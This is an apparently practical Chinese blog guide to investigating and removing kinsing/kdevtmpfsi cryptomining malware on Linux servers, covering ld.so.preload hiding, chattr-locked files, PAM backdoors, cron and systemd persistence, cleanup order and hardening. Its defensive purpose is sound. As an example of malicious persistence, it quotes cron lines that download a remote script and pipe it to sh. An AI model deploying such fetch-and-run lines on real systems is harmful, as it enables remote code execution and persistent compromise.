1. 一次真实的服务器告警：从CPU飙满到挖矿病毒现形
凌晨两点，手机突然弹出一连串告警：一台跑了两年多的业务服务器CPU使用率连续15分钟维持在380%以上，负载从平时的0.8直接冲到12。第一反应是业务流量突增，登上机器一看，top里排在前面的进程名字叫kdevtmpfsi，还有一个叫kinsing的兄弟进程，两个加起来吃掉了四个核心。到这一步基本可以确认：这台机器被挖矿病毒盯上了。
Linux服务器被植入挖矿程序这件事，在运维圈里早就不是什么新鲜事。它不像勒索病毒那样一上来就锁你数据、要你赎金，挖矿病毒走的是"闷声发大财"的路线——悄悄占用你的CPU和带宽去给别人挖币，业务表面上还能跑，但性能被拖垮、电费被白嫖，更麻烦的是它往往伴随着SSH爆破、Web漏洞利用、计划任务持久化、动态链接库劫持这一整套组合拳。等你发现的时候，攻击者可能已经在你机器上安了好几个后门。
这篇内容面向的是有一定Linux基础、正在或者即将处理这类问题的运维和开发同学。我会把整个排查和根治的流程拆开讲：从怎么快速定位异常进程，到ld.so.preload这种高级劫持手法怎么识别，再到chattr锁文件、pamdicks这类后门模块怎么清理，最后是怎么把入口堵死、防止二次感染。整套流程我自己在几台生产机上实操过，踩过的坑也会一并写出来，你可以直接照着抄作业。
需要先说明一点：挖矿病毒变种极多，本文讲的是最常见的一类（以kdevtmpfsi/kinsing家族为代表）的通用处置思路，具体到你的机器上，进程名、文件路径可能不一样，但排查逻辑是相通的。
2. 挖矿病毒为什么难缠：先搞懂它的生存逻辑
2.1 挖矿病毒和普通木马的本质区别
很多人第一次遇到挖矿病毒，会下意识地把它当成普通木马去删进程、删文件，结果删完没几分钟又活过来了。原因在于挖矿病毒的"生存设计"和普通木马完全不同。
普通木马的目标是长期潜伏、窃取数据，所以它倾向于低调，尽量不引起注意。挖矿病毒的目标是榨干你的算力，它必须持续跑高CPU，这本身就很容易暴露。既然藏不住，它的策略就变成了"打不死"——通过多重持久化机制，让你删了它还能自动复活。常见的持久化手段包括：
- 计划任务（crontab）：每分钟检查一次，进程没了就重新拉起。
- 系统服务（systemd）：伪装成正常服务，开机自启。
- 动态链接库预加载（ld.so.preload）：劫持系统调用，隐藏自己的进程和文件。
- SSH公钥后门：写入
authorized_keys，方便攻击者随时回来。 - PAM后门模块：记录或篡改登录认证，实现长期控制。
这五层里，前两层是"明面上的"，后三层是"暗地里的"。只清理前两层，后三层还在，机器就等于没清干净。
2.2 攻击者是怎么进来的
搞清楚入口，比清理本身更重要。因为不堵入口，清完还会再中。根据我处理过的案例，Linux服务器被植入挖矿程序的入口大致有这么几类：
| 入口类型 | 典型场景 | 特征 |
|---|---|---|
| SSH弱口令爆破 | root密码是123456或简单字典 | 登录日志有大量失败记录 |
| Redis未授权访问 | Redis绑定0.0.0.0且无密码 | 6379端口对外暴露 |
| Web应用漏洞 | 存在命令执行、文件上传漏洞 | Web目录出现异常文件 |
| 数据库弱口令 | MySQL/PostgreSQL对外且弱密码 | 数据库进程异常 |
| 第三方组件漏洞 | 未及时打补丁的中间件 | 版本老旧 |
我遇到的那台机器，事后复盘发现是Redis端口对公网开放且没设密码，攻击者通过Redis的CONFIG SET dir和dbfilename写入了恶意计划任务。这个手法非常经典，后面会详细讲。
2.3 为什么ld.so.preload是排查的关键突破口
/etc/ld.so.preload这个文件，正常情况下在绝大多数Linux系统里是不存在的。它的作用是让系统在加载任何动态链接库之前，先加载这里指定的库文件。攻击者利用这个机制，把自己的恶意.so文件塞进去，就能劫持readdir、open、read等系统调用，实现"进程隐藏"和"文件隐藏"。
举个例子：你执行ls /tmp，明明知道里面有恶意文件，但就是看不到；你执行ps aux，恶意进程就是不显示。这不是你眼花，是ld.so.preload里的恶意库在作祟——它拦截了readdir调用，把包含特定关键字的条目过滤掉了。
所以排查挖矿病毒，ld.so.preload是必须第一时间检查的地方。这个文件一旦存在且指向可疑路径，基本可以坐实系统被深度入侵。
3. 排查前的准备工作：别急着动手删
3.1 先做现场保护，避免打草惊蛇
发现异常后，最忌讳的就是上来就kill -9。原因有两个：一是杀了进程可能触发攻击者的"自毁"或"反制"逻辑，二是你还没搞清楚它是怎么进来的、有哪些持久化点，贸然操作会让线索断掉。
正确的做法是先做现场保护：
- 断网或限制出站：如果条件允许，先把机器从业务负载均衡里摘掉，或者用防火墙限制它的出站连接，防止病毒继续下载新模块或回传数据。但注意不要直接关机，关机可能丢失内存中的线索。
- 记录当前状态：把
top、ps aux、netstat -antp、crontab -l、systemctl list-units的输出保存下来，作为后续分析依据。 - 备份关键日志：
/var/log/secure（或/var/log/auth.log）、/var/log/cron、Web访问日志，这些是追溯入口的关键。
提示：如果机器上跑着重要业务，先评估清理操作对业务的影响。有些挖矿病毒会修改系统库，清理过程中可能导致依赖这些库的业务进程异常，最好在业务低峰期操作，并准备好回滚方案。
3.2 用"干净"的工具去看系统
这是很多人忽略的一点：当系统被ld.so.preload劫持后，你用的ps、ls、top这些命令本身可能已经被污染了，它们显示的结果不可信。所以排查时要用"干净"的工具。
最稳妥的办法是用静态编译的busybox，它不依赖系统的动态链接库，能绕过ld.so.preload的劫持。具体操作：
# 下载静态编译的busybox（如果机器能联网） wget https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox chmod +x busybox # 用它来看进程 ./busybox ps aux # 用它来看目录 ./busybox ls -la /tmp如果机器不能联网，可以从另一台干净的机器上拷贝一个busybox过来。这一步很关键，后面所有排查都建立在"你看到的是真实的"这个前提上。
3.3 检查ld.so.preload是否存在
cat /etc/ld.so.preload如果这个文件存在，输出里会有一个或多个.so文件路径。正常情况下它应该是"文件不存在"或者空内容。如果里面有东西，记下路径，先别删，后面分析完再处理。
同时检查一下这个文件的属性：
lsattr /etc/ld.so.preload如果看到i属性（immutable），说明攻击者用chattr +i把它锁死了，普通删除会报"Operation not permitted"。这个后面会讲怎么解锁。
4. 核心排查流程：一层层剥开挖矿病毒的外壳
4.1 定位异常进程和它的真实身份
用busybox的ps看进程列表，重点关注CPU占用高、名字奇怪、路径异常的进程。挖矿病毒的进程名通常会伪装成系统进程，比如kdevtmpfsi、kinsing、systemd-udevd（注意拼写）、[kworker/0:0]（带方括号的伪装内核线程）等。
找到可疑PID后，看它的可执行文件路径：
ls -l /proc/<PID>/exe ls -l /proc/<PID>/cwd cat /proc/<PID>/cmdline/proc/<PID>/exe指向的是进程实际运行的可执行文件。挖矿病毒的可执行文件通常藏在/tmp、/var/tmp、/dev/shm这些目录下，文件名是随机字符串。/proc/<PID>/cwd是进程的工作目录，cmdline是启动命令，这些信息能帮你判断它是怎么被拉起来的。
还有一个技巧是看进程的父进程：
cat /proc/<PID>/status | grep PPid顺着父进程往上找，往往能找到拉起它的计划任务或服务。
4.2 检查计划任务：挖矿病毒的"复活甲"
计划任务是挖矿病毒最常用的持久化手段，因为它简单、可靠、权限要求低。检查这几个地方：
# 当前用户的计划任务 crontab -l # root的计划任务 crontab -l -u root # 系统级计划任务 cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ ls -la /etc/cron.daily/ # 其他用户的计划任务 for user in $(cut -f1 -d: /etc/passwd); do crontab -l -u $user 2>/dev/null; done挖矿病毒的计划任务通常长这样：
*/1 * * * * curl -fsSL http://xxx.xxx.xxx/xxx.sh | sh */1 * * * * wget -q -O - http://xxx.xxx.xxx/xxx.sh | sh或者直接执行本地脚本：
*/1 * * * * /tmp/xxx.sh > /dev/null 2>&1注意，有些病毒会把计划任务写在/var/spool/cron/目录下，直接看这个目录也能发现：
ls -la /var/spool/cron/ ls -la /var/spool/cron/crontabs/4.3 检查系统服务和开机自启
除了计划任务，systemd服务也是常见的持久化点：
# 列出所有服务，重点看名字可疑的 systemctl list-units --type=service --all # 查看服务的详情 systemctl cat <服务名> # 检查开机自启项 systemctl list-unit-files --type=service | grep enabled挖矿病毒的服务文件通常放在/etc/systemd/system/或/lib/systemd/system/下，名字可能伪装成systemd-networkd、dbus之类的。看服务文件里的ExecStart指向哪里，如果指向/tmp或/dev/shm下的文件，基本可以确定是恶意的。
另外，传统的/etc/rc.local、/etc/init.d/也要检查：
cat /etc/rc.local ls -la /etc/init.d/4.4 检查SSH后门：攻击者的"备用钥匙"
攻击者进来之后，通常会给自己留一把备用钥匙——往authorized_keys里写自己的公钥。检查：
cat /root/.ssh/authorized_keys cat /home/*/.ssh/authorized_keys如果看到不认识的公钥，尤其是注释里带kdevtmpfsi、kinsing或者随机字符串的，直接删掉。同时检查/etc/ssh/sshd_config有没有被改过，比如PermitRootLogin被改成yes、Port被改、AuthorizedKeysFile被指向奇怪路径等。
4.5 检查pamdicks：容易被忽略的PAM后门
pamdicks是近几年出现的一种PAM后门模块，名字是pam_unix.so的变体。PAM是Linux的认证模块框架，登录、su、sudo都要经过它。攻击者替换或新增一个PAM模块，就能实现：
- 记录所有登录密码到指定文件
- 用万能密码登录
- 绕过认证
检查方法：
# 看PAM配置里有没有可疑模块 grep -r "pam_" /etc/pam.d/ # 检查PAM模块目录 ls -la /lib/security/ /lib/x86_64-linux-gnu/security/ /usr/lib/security/ # 对比模块的修改时间，看有没有近期被替换的 find /lib/security/ /lib/x86_64-linux-gnu/security/ -name "*.so" -mtime -30如果发现pam_unix.so的修改时间异常，或者多了一个不认识的.so文件，就要警惕。可以用md5sum和干净系统上的同名文件对比，或者用包管理器校验：
# Debian/Ubuntu dpkg -V libpam-modules # CentOS/RHEL rpm -V pam4.6 检查网络连接：看它在跟谁通信
挖矿病毒要挖矿，就得连矿池。看当前网络连接：
netstat -antp ss -antp重点关注：
- 连向境外IP的ESTABLISHED连接
- 连向常见矿池端口（3333、4444、5555、7777、8888、9999等）的连接
- 监听在异常端口的进程
如果发现可疑连接，记下对端IP和端口，这些是后续封禁的依据。同时看/etc/hosts有没有被改，有些病毒会通过改hosts来劫持域名解析。
5. 根治操作：从清理到加固的完整流程
5.1 解锁被chattr锁定的文件
攻击者为了防止你删他的文件，经常用chattr +i给文件加不可变属性。清理前先解锁：
# 查看文件属性 lsattr /path/to/file # 去掉immutable属性 chattr -i /path/to/file # 如果还有append-only属性 chattr -a /path/to/file常见被锁的文件包括：/etc/ld.so.preload、/etc/crontab、/var/spool/cron/root、病毒本体文件等。清理时如果遇到"Operation not permitted"，先lsattr看看是不是被锁了。
注意：有些病毒会用
chattr +i锁住/etc/ld.so.preload，你解锁删掉后，它的计划任务又会重新写回来。所以解锁和删除要配合计划任务的清理一起做，顺序很重要。
5.2 清理顺序：先断持久化，再杀进程，最后删文件
清理顺序错了，就会陷入"删了又活"的死循环。正确的顺序是：
- 先清计划任务：把
crontab、/etc/cron.d/、/var/spool/cron/里的恶意条目全部删掉。 - 再清系统服务：
systemctl stop并disable恶意服务，删除服务文件，systemctl daemon-reload。 - 然后解锁并清理
ld.so.preload：chattr -i解锁，清空或删除文件。 - 杀掉恶意进程：
kill -9所有相关进程。 - 删除恶意文件：删除
/tmp、/var/tmp、/dev/shm下的病毒本体和脚本。 - 清理SSH后门：删除
authorized_keys里的陌生公钥。 - 清理PAM后门：恢复被替换的PAM模块，删除新增的恶意模块。
每一步做完都要验证，确认没有复活。
5.3 关键文件清理实操
清理计划任务：
# 编辑当前用户的计划任务，删掉恶意行 crontab -e # 或者直接清空 crontab -r # 清理系统级 rm -f /etc/cron.d/恶意文件名 # 检查并清理/var/spool/cron/清理ld.so.preload：
chattr -i /etc/ld.so.preload > /etc/ld.so.preload # 清空内容 # 或者直接删除 rm -f /etc/ld.so.preload清理恶意进程和文件：
# 找到所有相关进程 ps aux | grep -E "kdevtmpfsi|kinsing|恶意关键字" # 杀掉 kill -9 <PID> # 删除文件 rm -rf /tmp/恶意文件名 rm -rf /var/tmp/恶意文件名 rm -rf /dev/shm/恶意文件名清理SSH后门：
# 备份后编辑 cp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak # 删掉陌生公钥，只保留自己的 vi /root/.ssh/authorized_keys5.4 验证清理效果
清理完不是就完事了，要验证。验证方法：
- 观察CPU：
top看CPU是否恢复正常，恶意进程是否还在。 - 观察计划任务：过几分钟再看
crontab -l，确认没有新的恶意条目。 - 观察网络：
netstat看有没有新的可疑外连。 - 重启测试：如果条件允许，重启一次，看病毒会不会复活。重启后如果一切正常，说明持久化点清干净了。
我一般会观察至少30分钟，因为有些病毒的计划任务是每分钟执行一次，30分钟内如果没复活，基本就稳了。
6. 常见问题与排查技巧实录
6.1 删了文件又自动生成怎么办
这是最典型的问题，说明持久化点没清干净。排查思路：
- 先看
crontab -l和/etc/cron.d/，90%的情况是计划任务在作祟。 - 如果计划任务清了还复活，看
systemctl list-units有没有可疑服务。 - 如果服务也清了还复活，看
ld.so.preload是不是还在，或者有没有其他进程在监控并拉起它。 - 极端情况下，病毒会用
inotify监控文件，你删了它立刻重建。这时候要先找到监控进程，杀掉再删。
6.2chattr -i也删不掉怎么办
如果chattr -i执行后还是删不掉，可能是：
- 文件被其他进程占用：
lsof | grep 文件名找到占用进程，杀掉再删。 - 文件在只读文件系统上：
mount | grep ro检查，重新挂载为读写。 - 有内核模块在保护：检查
lsmod有没有可疑模块，rmmod卸载。 - SELinux限制：
getenforce看状态，临时setenforce 0再试。
6.3 怎么判断是不是误报
有些正常进程也会占高CPU，比如编译任务、日志分析、备份脚本。判断是不是挖矿病毒，看这几点：
- 进程名是否伪装成系统进程但路径在
/tmp等临时目录 - 是否有异常外连（尤其是矿池端口）
- 是否有可疑计划任务
ld.so.preload是否存在- 文件修改时间是否集中在某个时间点
如果以上都正常，那大概率是正常业务，别误杀。
6.4 清理后业务起不来怎么办
清理过程中如果误删了系统库或配置文件，可能导致业务异常。预防措施：
- 清理前备份关键文件：
cp -a /etc /etc.bak、cp -a /lib /lib.bak（如果空间允许）。 - 用包管理器校验系统文件完整性：
rpm -Va或dpkg -V，看哪些文件被改过。 - 如果业务依赖某个被替换的库，从干净机器拷贝同名文件回来，或者重装对应的包。
6.5 常见问题速查表
| 问题现象 | 可能原因 | 解决方向 |
|---|---|---|
| 进程杀了又复活 | 计划任务/服务持久化 | 清crontab和systemd |
ls看不到恶意文件 | ld.so.preload劫持 | 检查并清理preload |
| 文件删不掉 | chattr +i锁定 | chattr -i解锁 |
| 登录密码疑似泄露 | PAM后门 | 检查PAM模块 |
| CPU高但找不到进程 | 进程隐藏 | 用busybox排查 |
| 重启后病毒复活 | 开机自启未清 | 检查systemd和rc.local |
7. 加固与预防：让机器不再中招
7.1 堵住入口：从源头防止入侵
清理只是治标，加固才是治本。针对前面提到的入口，逐一加固：
SSH加固：
# 禁用root直接登录 PermitRootLogin no # 改用密钥登录 PasswordAuthentication no # 改默认端口（可选，降低被扫概率） Port 22222 # 限制登录来源 AllowUsers deploy@10.0.0.0/8Redis加固：
# 绑定内网地址 bind 127.0.0.1 10.0.0.1 # 设置密码 requirepass 强密码 # 禁用危险命令 rename-command CONFIG "" rename-command FLUSHALL ""Web应用加固：
- 及时打补丁，尤其是命令执行、文件上传类漏洞。
- Web目录禁止执行脚本：
php_admin_value engine off。 - 限制Web进程权限，不要用root跑Web服务。
数据库加固：
- 不要对公网开放数据库端口。
- 设置强密码，定期更换。
- 删除匿名用户和测试库。
7.2 日常监控：早发现早处理
挖矿病毒如果能在早期发现，清理成本会低很多。建议做这几项监控：
- CPU/负载告警：CPU持续超过80%或负载超过核心数2倍时告警。
- 进程监控：监控
/tmp、/dev/shm下是否有可执行文件运行。 - 文件完整性监控：用
aide或tripwire监控关键文件变化。 - 网络监控：监控异常外连，尤其是矿池端口。
- 登录监控：监控SSH登录失败次数，超过阈值告警。
7.3 定期自查清单
我给自己维护了一份定期自查清单，每周跑一次，几分钟就能完成：
# 1. 检查ld.so.preload cat /etc/ld.so.preload 2>/dev/null # 2. 检查计划任务 crontab -l ls -la /etc/cron.d/ # 3. 检查异常进程 ps aux --sort=-%cpu | head -20 # 4. 检查异常外连 ss -antp | grep ESTABLISHED # 5. 检查SSH公钥 cat /root/.ssh/authorized_keys # 6. 检查PAM模块修改时间 find /lib/security/ -name "*.so" -mtime -7 # 7. 检查/tmp等目录的可执行文件 find /tmp /var/tmp /dev/shm -type f -executable这份清单跑下来，基本能覆盖90%的挖矿病毒特征。养成习惯之后，发现异常的速度会快很多。
7.4 备份与恢复：最后的保险
再好的加固也不能保证100%不被入侵，所以备份是最后的保险。建议：
- 关键数据定期备份，备份文件不要放在同一台机器上。
- 备份要验证可恢复性，别等到要用的时候发现备份是坏的。
- 系统层面可以用快照，出问题快速回滚。
- 保留一份干净的系统镜像，极端情况下重装。
我个人在实际操作中的体会是，挖矿病毒的清理难点从来不在"删文件"本身，而在于找到所有的持久化点。ld.so.preload、chattr、pamdicks这三个东西，是区分"新手清理"和"彻底根治"的分水岭。很多人清完计划任务就以为完事了，结果ld.so.preload还在，进程照样隐藏，过两天又复发。所以排查时一定要有"逐层剥洋葱"的耐心，每一层都验证到位。
最后再分享一个小技巧：如果你不确定某个文件是不是恶意的，把它扔到VirusTotal或者微步在线之类的平台查一下哈希，比自己瞎猜快得多。另外，处理完一台机器后，记得检查同一网段的其他机器，挖矿病毒往往会横向扩散，只清一台等于没清。
